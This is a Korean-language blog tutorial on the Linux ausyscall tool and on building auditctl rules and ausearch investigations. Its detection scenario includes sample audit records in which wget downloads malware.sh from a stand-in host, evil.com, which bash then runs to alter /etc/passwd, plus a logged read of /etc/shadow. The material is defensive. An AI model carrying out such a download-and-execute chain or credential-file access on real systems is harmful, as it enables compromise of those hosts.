리눅스 ausyscall 명령어 완벽 가이드: 시스템 콜 감사와 분석

왜 시스템 콜 감사가 중요한가?
리눅스 보안과 시스템 투명성의 첫걸음
현대의 IT 환경에서 시스템을 지속적으로 모니터링하고 감사하는 것은 더 이상 선택이 아닌 필수입니다. 사이버 공격은 날로 정교해지고 있으며, 내부자에 의한 데이터 유출이나 시스템 오용의 위험 또한 무시할 수 없습니다. 이러한 위협에 대응하고, 컴플라이언스 요구사항(예: CAPP - Controlled Access Protection Profiles)을 충족하며, 시스템의 모든 동작을 투명하게 파악하기 위해 강력한 감사 체계가 필요합니다.
리눅스는 이러한 요구에 부응하기 위해 커널 수준에서 동작하는 강력한 감사 프레임워크(Linux Audit Framework)를 제공합니다. 이 프레임워크는 시스템에서 발생하는 거의 모든 이벤트를 추적하고 기록할 수 있는 능력을 갖추고 있어, 시스템 관리자와 보안 분석가에게 시스템 내부를 들여다볼 수 있는 현미경과 같은 역할을 합니다.
auditd 프레임워크와 ausyscall의 역할 소개
리눅스 감사 프레임워크는 커널의 감사 모듈과 사용자 공간에서 동작하는 여러 유틸리티로 구성됩니다. 이 중 핵심은 auditd
(audit daemon)로, 커널로부터 감사 메시지를 받아 로그 파일(/var/log/audit/audit.log
)에 기록하는 역할을 합니다. 관리자는 auditctl
명령어로 어떤 이벤트를 감사할지 규칙을 설정하고, ausearch
명령어로 기록된 로그를 검색하며, aureport
로 요약 보고서를 생성합니다.
하지만 이 과정에서 한 가지 중요한 장벽에 부딪히게 됩니다. 감사 로그에 기록되는 수많은 이벤트, 특히 시스템의 가장 근본적인 동작인 '시스템 콜(System Call)'은 'open', 'execve' 같은 친숙한 이름이 아닌, '2', '59'와 같은 숫자로 기록된다는 점입니다. 더구나 이 숫자는 시스템의 CPU 아키텍처에 따라 달라지기까지 합니다. 여기서 바로 ausyscall
명령어의 진가가 드러납니다. ausyscall
은 이 암호와 같은 시스템 콜 번호를 우리가 이해할 수 있는 이름으로, 또는 그 반대로 변환해주는 '번역가' 역할을 수행합니다. ausyscall
없이는 감사 로그는 해독하기 어려운 숫자들의 나열에 불과하며, 정교한 감사 규칙을 작성하는 것 또한 거의 불가능에 가깝습니다. 이 글은 ausyscall
의 모든 것을 파헤쳐, 여러분을 리눅스 감사 시스템의 초보자에서 전문가로 이끌어 줄 완벽한 가이드가 될 것입니다.
기초 다지기: 시스템 콜(System Call)이란 무엇인가?
사용자 공간과 커널 공간의 다리
리눅스를 포함한 현대 운영체제는 안정성과 보안을 위해 메모리 공간을 '사용자 공간(User Space)'과 '커널 공간(Kernel Space)'으로 분리하여 관리합니다. 우리가 일반적으로 사용하는 셸, 웹 브라우저, 데이터베이스 같은 애플리케이션들은 모두 사용자 공간에서 실행됩니다. 반면, 하드웨어 제어, 프로세스 관리, 파일 시스템 접근과 같은 시스템의 핵심 기능은 커널 공간에서만 독점적으로 처리됩니다.
그렇다면 사용자 공간의 애플리케이션이 어떻게 파일에 데이터를 쓰거나 네트워크로 통신할 수 있을까요? 바로 '시스템 콜'이라는 다리를 통해서입니다. 애플리케이션이 파일 열기(open
), 프로세스 생성(fork
), 프로그램 실행(execve
)과 같은 작업을 요청하면, 이는 시스템 콜 인터페이스를 통해 커널에 전달됩니다. 커널은 이 요청을 받아 안전하게 처리한 후, 그 결과를 다시 애플리케이션에 반환합니다. 즉, 시스템 콜은 사용자 프로그램이 커널의 보호된 기능에 접근할 수 있도록 허용된 유일하고도 안전한 통로입니다.
감사 로그에 숫자로 기록되는 이유
개발자가 C언어로 fopen()
함수를 호출하거나 파이썬으로 os.remove()
함수를 사용할 때, 실제로는 내부적으로 glibc와 같은 시스템 라이브러리가 이를 해당 커널이 이해할 수 있는 특정 시스템 콜로 변환하여 호출합니다. 예를 들어, fopen()
은 내부적으로 open
시스템 콜을 사용합니다.
리눅스 감사 시스템은 바로 이 커널 수준에서 발생하는 시스템 콜을 직접 감시합니다. 이때 로그에는 'open'이라는 이름 대신 '2'(x86_64 아키텍처 기준)와 같은 숫자가 기록됩니다. 여기에는 몇 가지 중요한 이유가 있습니다.
- 성능과 효율성: 커널 입장에서는 문자열을 비교하는 것보다 정수(숫자)를 비교하는 것이 훨씬 빠르고 효율적입니다. 초당 수만, 수백만 번의 시스템 콜이 발생하는 상황에서 이러한 미세한 차이가 시스템 전체 성능에 큰 영향을 미칩니다.
- 언어 독립성: 시스템 콜은 C, Python, Java 등 어떤 프로그래밍 언어에서 호출되든 최종적으로는 커널에 동일한 번호로 전달됩니다. 숫자로 기록함으로써 감사 로그는 특정 언어나 라이브러리에 종속되지 않고 일관성을 유지할 수 있습니다.
- 명확성:
open
이라는 이름은 여러 라이브러리 함수에 사용될 수 있지만, 시스템 콜 번호는 커널 내에서 고유하게 정의됩니다.
이처럼 효율성과 일관성을 위해 숫자로 기록된 감사 로그는 관리자에게 또 다른 과제를 안겨줍니다. "로그에 찍힌 syscall=59
는 대체 무슨 의미지?" 이 질문에 답하기 위해 ausyscall
이라는 번역기가 반드시 필요하게 되는 것입니다. ausyscall
은 개발자의 고수준 코드와 감사 로그에 남겨진 저수준 증거 사이의 끊어진 고리를 연결하여, 시스템에서 실제로 어떤 일이 일어났는지 명확하게 이해할 수 있도록 돕습니다.
ausyscall 명령어란? - 핵심 기능 분석
주요 목적: 시스템 콜 이름과 번호의 양방향 변환
ausyscall
명령어의 핵심 기능은 매우 명확합니다. 바로 리눅스 시스템 콜의 이름과 그에 해당하는 번호를 서로 변환해주는 것입니다. 이 양방향 변환 기능은 리눅스 감사 시스템을 다루는 두 가지 주요 작업 흐름 모두에서 필수적입니다.
- 감사 로그 분석 (번호 → 이름):
/var/log/audit/audit.log
파일에 기록된syscall=2
와 같은 로그를 발견했을 때,ausyscall 2
를 실행하여 이것이open
시스템 콜임을 즉시 확인할 수 있습니다. 이를 통해 숫자만으로는 알 수 없었던 이벤트의 구체적인 내용을 파악하게 됩니다. - 감사 규칙 작성 (이름 → 번호):
auditctl
을 사용하여 특정 시스템 콜(예:execve
)을 감시하는 규칙을 만들고자 할 때,ausyscall execve
를 실행하여 해당 시스템 콜의 번호(x86_64 기준 59)를 알아낼 수 있습니다. 이 번호를 사용하여 더 정확하고 효율적인 감사 규칙을 작성할 수 있습니다.
아키텍처(x86_64 vs. i386)에 따라 달라지는 시스템 콜 번호의 중요성
ausyscall
의 진정한 가치는 단순히 이름과 번호를 변환하는 것을 넘어, 아키텍처별로 이 작업을 수행한다는 점에 있습니다. 리눅스는 역사적으로 32비트(i386, i686 등)에서 64비트(x86_64)로 발전해왔으며, 현재의 64비트 시스템은 과거의 32비트 프로그램을 실행할 수 있는 하위 호환성(bi-arch)을 지원합니다.
이러한 호환성을 지원하기 위해 커널은 32비트용과 64비트용, 두 개의 서로 다른 시스템 콜 테이블을 유지합니다. 이로 인해 동일한 기능을 수행하는 시스템 콜이라도 아키텍처에 따라 전혀 다른 번호를 가질 수 있습니다. 예를 들어, 파일을 읽는 read
시스템 콜은 64비트(x86_64)에서는 0번이지만, 32비트(i386)에서는 3번입니다.
이러한 차이는 감사 규칙을 작성할 때 매우 중요한 문제를 야기합니다. 만약 관리자가 64비트 시스템에서 32비트 애플리케이션의 파일 접근까지 모두 감사하고 싶다면, 단순히 -S open
이라는 규칙만으로는 부족합니다. 32비트 open
과 64비트 open
은 다른 번호를 사용하기 때문입니다. ausyscall
은 바로 이 문제를 해결해주는 열쇠입니다. 관리자는 ausyscall
을 사용하여 각 아키텍처에 맞는 정확한 시스템 콜 번호를 확인하고, 이를 바탕으로 모든 경우를 포괄하는 정교한 감사 규칙을 만들 수 있습니다. 이처럼 ausyscall
은 리눅스의 역사적 발전 과정에서 발생한 기술적 복잡성을 관리자가 손쉽게 다룰 수 있도록 만들어주는 필수적인 도구입니다.
ausyscall 명령어 기본 사용법 및 옵션
ausyscall
명령어는 직관적인 구문과 몇 가지 유용한 옵션을 통해 강력한 기능을 제공합니다. 이 섹션에서는 기본적인 사용법과 주요 옵션을 예제와 함께 자세히 살펴보겠습니다.
기본 구문: ausyscall [arch][name|number]
명령어의 기본 형식은 매우 간단합니다.
ausyscall [옵션][아키텍처][시스템 콜 이름 | 시스템 콜 번호]
[아키텍처]
: 변환을 수행할 CPU 아키텍처를 지정합니다.x86_64
,i386
,aarch64
등이 있으며,uname -m
명령어로 현재 시스템의 아키텍처를 확인할 수 있습니다. 만약 아키텍처를 생략하면,ausyscall
은 현재 실행 중인 시스템을 기준으로 추측하여 동작합니다.[시스템 콜 이름 | 시스템 콜 번호]
: 변환하고자 하는 시스템 콜의 이름 또는 번호를 입력합니다.
주요 옵션
옵션 | 설명 |
---|---|
[arch] |
대상 아키텍처를 지정합니다 (예: x86_64 , i386 ). 감사 규칙의 정확성을 위해 명시적으로 지정하는 것이 좋습니다. |
name |
주어진 이름에 해당하는 시스템 콜 번호를 찾습니다. 기본적으로 부분 문자열 일치를 수행합니다. |
number |
주어진 번호에 해당하는 시스템 콜 이름을 찾습니다. |
--dump |
지정된 아키텍처의 모든 시스템 콜 이름과 번호의 전체 목록을 출력합니다. 시스템 콜을 탐색하거나 스크립트에서 활용할 때 매우 유용합니다. |
--exact |
시스템 콜 이름을 찾을 때, 부분 일치가 아닌 정확히 일치하는 이름만 찾습니다. 규칙 생성 자동화 시 의도치 않은 매칭을 방지하기 위해 필수적입니다. |
-i |
(일부 버전) 인자를 시스템 콜 번호로 해석하도록 강제합니다. |
-n |
(일부 버전) 인자를 시스템 콜 이름으로 해석하도록 강제합니다. |
사용 예제: 이름으로 번호 찾기, 번호로 이름 찾기, 전체 목록 확인
1. 이름으로 시스템 콜 번호 찾기 (64비트)
open
시스템 콜의 번호를 x86_64
아키텍처에서 찾아봅니다.
$ ausyscall x86_64 open
open
openat
open_by_handle_at
openat2
기본적으로 open
이라는 문자열을 포함하는 모든 시스템 콜을 보여줍니다. 정확히 open
만 찾고 싶다면 --exact
옵션을 사용해야 합니다.
$ ausyscall --exact x86_64 open
2
2. 번호로 시스템 콜 이름 찾기 (32비트)
i386
아키텍처에서 5번 시스템 콜이 무엇인지 확인합니다.
$ ausyscall i386 5
open
3. 현재 시스템의 전체 시스템 콜 목록 덤프하기
--dump
옵션을 사용하면 현재 시스템 아키텍처의 전체 매핑 테이블을 볼 수 있습니다. grep
과 함께 사용하면 특정 콜을 쉽게 찾을 수 있습니다.
# 현재 시스템에서 execve 시스템 콜의 번호를 찾기
$ ausyscall --dump | grep execve
59 execve
221 execveat
4. 부분 일치와 정확한 일치의 차이 이해하기
ausyscall
의 기본 동작인 부분 일치는 탐색에는 유용하지만, 스크립트를 통해 감사 규칙을 자동 생성할 때는 위험할 수 있습니다. 예를 들어 chown
을 감사하려 할 때, 의도치 않게 fchown
, lchown
까지 규칙에 포함될 수 있기 때문입니다.
# 부분 일치 (기본값)
$ ausyscall chown
chown
fchown
lchown
fchownat
# 정확한 일치
$ ausyscall --exact chown
92
이처럼 --exact
플래그는 탐색적 사용에서 벗어나, 정확하고 예측 가능한 자동화로 나아가기 위한 핵심적인 기능입니다. 이 차이를 이해하는 것이 ausyscall
을 제대로 활용하는 첫걸음입니다.
실전 활용 ①: auditctl로 정교한 감사 규칙 만들기
ausyscall
의 가장 중요한 활용 사례는 바로 auditctl
을 사용하여 정확하고 효율적인 감사 규칙을 만드는 것입니다. 시스템 콜 감사는 시스템 성능에 직접적인 영향을 줄 수 있으므로, 규칙을 얼마나 정교하게 작성하느냐가 매우 중요합니다.
auditctl 규칙에서 시스템 콜을 사용하는 이유
auditctl
을 사용하여 시스템 콜을 감시하는 규칙의 기본 형식은 다음과 같습니다.
auditctl -a [action],[filter] -S [syscall_name_or_number] -F [field=value] -k [key_name]
여기서 -S
옵션으로 감시할 시스템 콜을 지정합니다. 예를 들어, 모든 프로그램 실행을 감시하고 싶다면 execve
시스템 콜을 추적해야 합니다.
32비트와 64비트 호환성 문제와 해결책
만약 64비트(x86_64) 시스템에서 다음과 같이 간단한 규칙을 작성했다고 가정해 봅시다.
# 잘못된 예시: bi-arch 시스템에서 불완전한 규칙
$ sudo auditctl -a always,exit -S open -k file_access
이 규칙은 64비트 프로그램이 open
시스템 콜(번호 2)을 호출하는 것은 감시할 수 있지만, 동일한 시스템에서 실행되는 32비트 프로그램이 open
시스템 콜(번호 5)을 호출하는 것은 놓치게 됩니다. auditctl
은 이러한 상황을 인지하면 "32/64 bit syscall mismatch"와 같은 경고를 출력하여 관리자에게 문제를 알려줍니다.
이 문제를 해결하는 올바른 방법은 ausyscall
을 사용하여 각 아키텍처별로 정확한 시스템 콜 번호를 확인하고, -F arch=
필터를 사용하여 두 개의 명시적인 규칙을 만드는 것입니다.
해결 과정:
- 아키텍처별 시스템 콜 번호 확인:
$ ausyscall --exact x86_64 open 2 $ ausyscall --exact i386 open 5
- 아키텍처별로 분리된 정확한 규칙 작성:
# 64비트(b64) 애플리케이션의 open(2) 감사 $ sudo auditctl -a always,exit -F arch=b64 -S open -k file_open_access # 32비트(b32) 애플리케이션의 open(5) 감사 $ sudo auditctl -a always,exit -F arch=b32 -S open -k file_open_access
참고:
-S
옵션에 이름(open
)을 사용해도auditctl
이-F arch
를 보고 올바른 번호로 변환해줍니다. 하지만 명시적으로 번호를 사용하는 것이 더 안전할 수 있습니다.
이렇게 두 개의 규칙을 작성하면 64비트 시스템에서 실행되는 32비트와 64비트 애플리케이션의 open
호출을 모두 안정적으로 감사할 수 있습니다.
주요 시스템 콜 번호 비교표 (x86_64 vs. i386)
이러한 차이를 명확히 이해하기 위해 몇 가지 주요 시스템 콜의 번호를 비교해 보겠습니다.
시스템 콜 이름 | x86_64 번호 | i386 번호 | 설명 |
---|---|---|---|
read |
0 | 3 | 파일 또는 소켓에서 데이터를 읽음 |
write |
1 | 4 | 파일 또는 소켓에 데이터를 씀 |
open |
2 | 5 | 파일을 열고 파일 디스크립터를 반환 |
close |
3 | 6 | 파일 디스크립터를 닫음 |
execve |
59 | 11 | 새로운 프로그램을 실행 |
socketcall |
해당 없음 | 102 | 32비트에서 모든 소켓 관련 작업을 처리하는 단일 진입점 |
stime |
해당 없음 | 25 | 시스템 시간을 설정 (64비트에서는 폐기됨) |
이 표는 왜 아키텍처를 고려한 규칙 작성이 필수적인지를 명확하게 보여줍니다. ausyscall
을 사용하여 규칙을 구체화하는 것은 단순히 정확성을 높이는 것을 넘어, 커널이 불필요한 비교 연산을 줄이도록 만들어 시스템 성능 저하를 최소화하는 핵심적인 최적화 기법이기도 합니다. 부하가 많은 서버일수록 이러한 최적화의 가치는 더욱 커집니다.
실전 활용 ②: ausearch로 감사 로그 심층 분석하기
감사 규칙을 설정했다면, 다음 단계는 생성된 로그를 분석하여 의미 있는 정보를 추출하는 것입니다. ausearch
는 방대한 감사 로그에서 원하는 이벤트를 찾아주는 강력한 도구이며, ausyscall
은 이 과정에서 로그를 해독하는 데 결정적인 역할을 합니다.
audit.log 파일의 syscall= 필드 해독
사용자가 sudo cat /etc/shadow
명령을 실행했을 때, /var/log/audit/audit.log
파일에는 다음과 유사한 로그가 기록될 수 있습니다.
type=SYSCALL msg=audit(1675255174.901:30777): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffc9c1e2e20 a2=0 a3=0 items=1 ppid=8720 pid=24107 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts19 ses=1 comm="cat" exe="/usr/bin/cat" key="file_read_access"
여기서 주목할 필드는 arch=c000003e
와 syscall=257
입니다.
arch=c000003e
: 16진수 값으로,x86_64
아키텍처를 의미합니다.syscall=257
: 이 이벤트가 시스템 콜 번호 257에 의해 트리거되었음을 나타냅니다.
이 숫자만으로는 무슨 일이 일어났는지 알 수 없습니다. 이때 ausyscall
을 사용하여 수동으로 해독할 수 있습니다.
$ ausyscall x86_64 257
openat
이제 우리는 이 로그가 cat
프로세스(pid=24107)가 openat
시스템 콜을 성공적으로 호출한 이벤트라는 것을 명확히 알 수 있습니다.
ausearch 결과와 ausyscall을 연계하여 이벤트의 의미 파악하기
대부분의 경우, ausearch
의 -i
또는 --interpret
옵션을 사용하면 이 변환 과정을 자동으로 처리할 수 있습니다. 이 옵션은 숫자 ID를 사람이 읽을 수 있는 이름으로 변환해 줍니다.
# -k 옵션으로 키를 지정하고 -i 옵션으로 해석
$ sudo ausearch -k file_read_access -i
...
----
time->Wed Feb 1 13:39:34 2023
type=SYSCALL msg=audit(1675255174.901:30777): arch=x86_64 syscall=openat success=yes exit=3 a0=0xffffff9c a1=0x7ffc9c1e2e20 a2=O_RDONLY a3=0x0 items=1 ppid=8720 pid=24107 auid=sammy uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=pts19 ses=1 comm="cat" exe="/usr/bin/cat" key="file_read_access"
...
ausearch -i
는 매우 편리하지만, ausyscall
을 직접 사용해야 하는 경우도 있습니다.
- 스크립팅 및 자동화: 셸 스크립트에서 특정 시스템 콜 번호를 확인하거나 처리해야 할 때
ausyscall
이 유용합니다. - 버전 불일치 문제 해결: 간혹 커널은 업데이트되었지만
audit-userspace
패키지(ausyscall, ausearch 포함)는 이전 버전일 수 있습니다. 이 경우, 새로운 커널에 추가된 시스템 콜은ausearch -i
로 해석되지 않고 'unknown'으로 표시될 수 있습니다. 로그에 알 수 없는 시스템 콜 번호가 보인다면,ausyscall
이 해당 번호를 인식하는지 직접 확인하고, 필요하다면audit-userspace
패키지를 업데이트하는 것이 전문가적인 문제 해결 방법입니다. 이는ausyscall
의 매핑 테이블이 실행 중인 커널이 아닌, 설치된 패키지 버전에 의존하기 때문에 발생하는 미묘하지만 중요한 문제입니다.
사례: 특정 프로세스(PID)가 실행한 시스템 콜 추적 및 분석
만약 특정 프로세스(예: PID 24107)가 의심스러운 동작을 한다고 가정해 봅시다. ausearch -p <PID>
를 사용하여 해당 프로세스가 생성한 모든 감사 이벤트를 추적할 수 있습니다.
$ sudo ausearch -p 24107
출력된 로그 목록에서 다양한 syscall=
번호를 발견할 수 있습니다. ausyscall --dump
의 결과를 참조하거나 각 번호를 ausyscall
로 변환해보면, 해당 프로세스가 어떤 파일들을 열고(openat
), 어떤 권한을 확인했으며(access
), 어떤 프로그램을 실행했는지(execve
) 등의 전체적인 행적을 재구성할 수 있습니다. 이처럼 ausyscall
은 개별 로그를 해독하는 것을 넘어, 특정 프로세스의 행위를 시스템 콜 수준에서 심층적으로 분석하는 데 필수적인 도구입니다.
고급 활용 시나리오: 보안 위협 탐지를 위한 통합 감사 전략
지금까지 배운 ausyscall
, auditctl
, ausearch
의 개념을 통합하여 실제 보안 위협 시나리오에 어떻게 대응할 수 있는지 단계별로 살펴보겠습니다. 이 시나리오는 감사 프레임워크의 진정한 힘이 개별 도구의 사용이 아닌, 이들의 유기적인 연계에 있음을 보여줍니다.
시나리오: 공격자가 시스템에 낮은 권한으로 침투한 후, (a) /etc/passwd
파일을 수정하여 권한을 상승시키려 시도하고, (b) 외부에서 악성 스크립트를 다운로드하여 실행하려 한다.
1단계: auditctl과 ausyscall로 탐지 규칙 설정
공격자의 행동을 탐지하기 위해 두 가지 유형의 규칙을 설정합니다. 하나는 파일 감시 규칙이고, 다른 하나는 시스템 콜 감시 규칙입니다.
A. 중요 파일 변경 감시 규칙
먼저, 시스템의 사용자 정보가 담긴 /etc/passwd
파일에 대한 쓰기(write) 및 속성 변경(attribute change) 시도를 감시하는 규칙을 추가합니다. -k
옵션을 사용하여 이 규칙에 passwd_change
라는 고유한 키를 부여합니다. 이 키는 나중에 로그를 검색할 때 매우 유용합니다.
$ sudo auditctl -w /etc/passwd -p wa -k passwd_change
B. 악성 코드 실행 시도 탐지 규칙
다음으로, 시스템에서 새로운 프로그램이 실행되는 모든 경우를 탐지하기 위해 execve
시스템 콜을 감시합니다. 앞서 배운 대로, 32비트와 64비트 환경을 모두 포괄하기 위해 ausyscall
로 번호를 확인하고 아키텍처별 규칙을 설정합니다. 이 규칙에는 suspicious_exec
라는 키를 부여합니다.
# 1. execve 시스템 콜 번호 확인 (이미 안다고 가정)
# x86_64: 59, i386: 11
# 2. 아키텍처별 execve 감사 규칙 추가
$ sudo auditctl -a always,exit -F arch=b64 -S execve -k suspicious_exec
$ sudo auditctl -a always,exit -F arch=b32 -S execve -k suspicious_exec
이제 우리의 감사 시스템은 중요 파일 변경과 모든 프로그램 실행을 주시하게 되었습니다.
2단계: 이벤트 발생 후 ausearch로 로그 검색
공격자가 wget
으로 악성 스크립트 malware.sh
를 다운로드하고, 이를 실행하여 /etc/passwd
파일을 변경했다고 가정해 봅시다. 우리의 감사 규칙에 의해 관련 로그가 생성되었을 것입니다. 이제 ausearch
를 사용하여 무슨 일이 있었는지 조사합니다.
먼저, passwd_change
키를 사용하여 파일 변경 이벤트를 검색합니다.
$ sudo ausearch -k passwd_change -i
----
time->Wed Feb 1 14:10:25 2023
type=SYSCALL msg=audit(1675257025.123:30987): arch=x86_64 syscall=openat success=yes... pid=25150 comm="malware.sh" exe="/bin/bash" key="passwd_change"
...
로그를 통해 malware.sh
라는 스크립트(PID 25150)가 /etc/passwd
파일을 열었다는 사실을 확인했습니다. 이것은 명백한 침해 지표입니다. 이제 이 스크립트가 어떻게 실행되었는지 추적해야 합니다. suspicious_exec
키를 사용하여 프로그램 실행 로그를 검색합니다.
$ sudo ausearch -k suspicious_exec -i
----
time->Wed Feb 1 14:10:20 2023
type=EXECVE msg=audit(1675257020.456:30980): argc=2 a0="wget" a1="http://evil.com/malware.sh"
...
----
time->Wed Feb 1 14:10:24 2023
type=EXECVE msg=audit(1675257024.987:30985): argc=2 a0="/bin/bash" a1="malware.sh"
...
3단계: ausyscall로 시스템 콜 번호 해석 및 위협 분석
ausearch -i
를 통해 대부분의 정보가 해석되었지만, 원본 로그를 보며 분석하는 과정에서 ausyscall
의 역할은 여전히 중요합니다.
suspicious_exec
키로 검색된 로그의 원본을 보면 syscall=59
라고 기록되어 있을 것입니다. ausyscall x86_64 59
를 통해 이것이 execve
임을 다시 한번 확인하며 분석의 정확성을 기할 수 있습니다.
더 중요한 것은 type=EXECVE
레코드입니다. 이 레코드의 a0
, a1
,... 필드는 실행된 프로그램과 전달된 인자들을 순서대로 보여줍니다.
- 첫 번째
EXECVE
로그는wget
명령어로http://evil.com/malware.sh
에서 파일을 다운로드한 사실을 명확히 보여줍니다. - 두 번째
EXECVE
로그는/bin/bash
를 통해malware.sh
스크립트가 실행되었음을 보여줍니다.
이처럼 파일 감시 규칙(-w
)은 "무엇이" 변경되었는지 알려주고, 시스템 콜 감시 규칙(-S
)은 "어떻게" 그 변경이 이루어졌는지 알려줍니다. 일관된 키(-k
)를 사용하여 이 두 종류의 이벤트를 연결함으로써, 우리는 공격의 전체적인 흐름, 즉 '외부 스크립트 다운로드 -> 스크립트 실행 -> 중요 파일 수정'이라는 완벽한 공격 시나리오를 재구성할 수 있습니다. 이 과정에서 ausyscall
은 규칙을 정교하게 만들고 로그를 정확하게 해독하는 데 필요한 핵심 어휘를 제공하는 역할을 수행합니다.
결론: ausyscall 마스터를 위한 전문가 팁
지금까지 ausyscall
의 기본 개념부터 auditctl
, ausearch
와 연계한 고급 보안 시나리오까지 심도 있게 살펴보았습니다. ausyscall
은 단순히 시스템 콜 번호를 변환하는 작은 유틸리티처럼 보일 수 있지만, 실제로는 리눅스 감사 프레임워크의 잠재력을 최대한으로 이끌어내는 핵심 열쇠입니다. 이 강력한 도구를 마스터하기 위한 몇 가지 전문가 팁으로 이 글을 마무리하고자 합니다.
성능을 위한 규칙 최적화 팁
시스템 콜 감사는 모든 프로세스의 모든 호출을 검사하기 때문에 시스템 성능에 영향을 줄 수 있습니다. 특히 부하가 높은 서버에서는 규칙을 최대한 구체적으로 작성하여 커널의 부담을 줄여야 합니다.
- 항상 아키텍처를 명시하세요:
-a always,exit -S open
과 같은 일반적인 규칙 대신,-a always,exit -F arch=b64 -S open
과 같이-F arch=
필터를 반드시 사용하여 규칙이 적용될 대상을 명확히 하십시오. 이는 불필요한 아키텍처에 대한 검사를 생략하여 성능을 향상시킵니다. - 가능하면 규칙을 결합하세요: 여러 시스템 콜을 하나의 규칙으로 묶을 수 있습니다. 예를 들어, 파일 삭제와 관련된 여러 시스템 콜을 감사하고 싶다면, 여러 줄의 규칙 대신
-S rmdir -S unlink -S unlinkat
과 같이 하나의 규칙에-S
옵션을 여러 번 사용하여 결합하는 것이 훨씬 효율적입니다.
기억해야 할 핵심 사항 요약
ausyscall
은 번역가다: 시스템 콜 이름과 번호를 아키텍처에 맞게 양방향으로 변환하는 필수 도구입니다.- Bi-Arch를 기억하라: 64비트 시스템에서 32비트와 64비트 프로그램을 모두 감사하려면,
ausyscall
로 각 아키텍처의 시스템 콜 번호를 확인하고-F arch=
를 사용한 별도의 규칙을 만들어야 합니다. - 버전 불일치를 의심하라: 감사 로그에서 'unknown syscall'을 발견하면, 실행 중인 커널 버전과
audit-userspace
패키지 버전이 일치하는지 확인하고 필요시 패키지를 업데이트해야 합니다. - 키(
-k
)를 적극적으로 활용하라: 모든 감사 규칙에 의미 있는 키를 부여하는 습관을 들이십시오. 이는ausearch
로 특정 이벤트를 신속하게 필터링하고, 여러 이벤트를 연관 분석하는 데 결정적인 도움을 줍니다.
더 깊은 학습을 위한 참고 자료 (man 페이지 등)
ausyscall
자체에 대한 더 자세한 정보는 man 8 ausyscall
명령어로 확인할 수 있습니다. 또한, 감사 로그에 등장하는 특정 시스템 콜의 기능과 인자에 대해 깊이 알고 싶다면, man 2 <syscall_name>
(예: man 2 open
, man 2 execve
)을 실행하여 커널 매뉴얼의 시스템 콜 섹션을 직접 참조하는 것이 매우 유용합니다.
ausyscall
을 마스터하는 것은 리눅스 감사 프레임워크 전체를 이해하기 위한 중요한 첫걸음입니다. 이 도구를 통해 여러분은 더 이상 암호 같은 로그 앞에서 좌절하지 않고, 시스템의 모든 움직임을 손금 보듯 들여다보며, 수동적인 로그 관찰자에서 능동적인 시스템 보안 설계자로 거듭날 수 있을 것입니다. 이 글이 그 여정에 든든한 동반자가 되기를 바랍니다.
- 블로그 : www.infracody.com
이 글이 유익했나요? 댓글로 소중한 의견을 남겨주시거나 커피 한 잔의 선물은 큰 힘이 됩니다.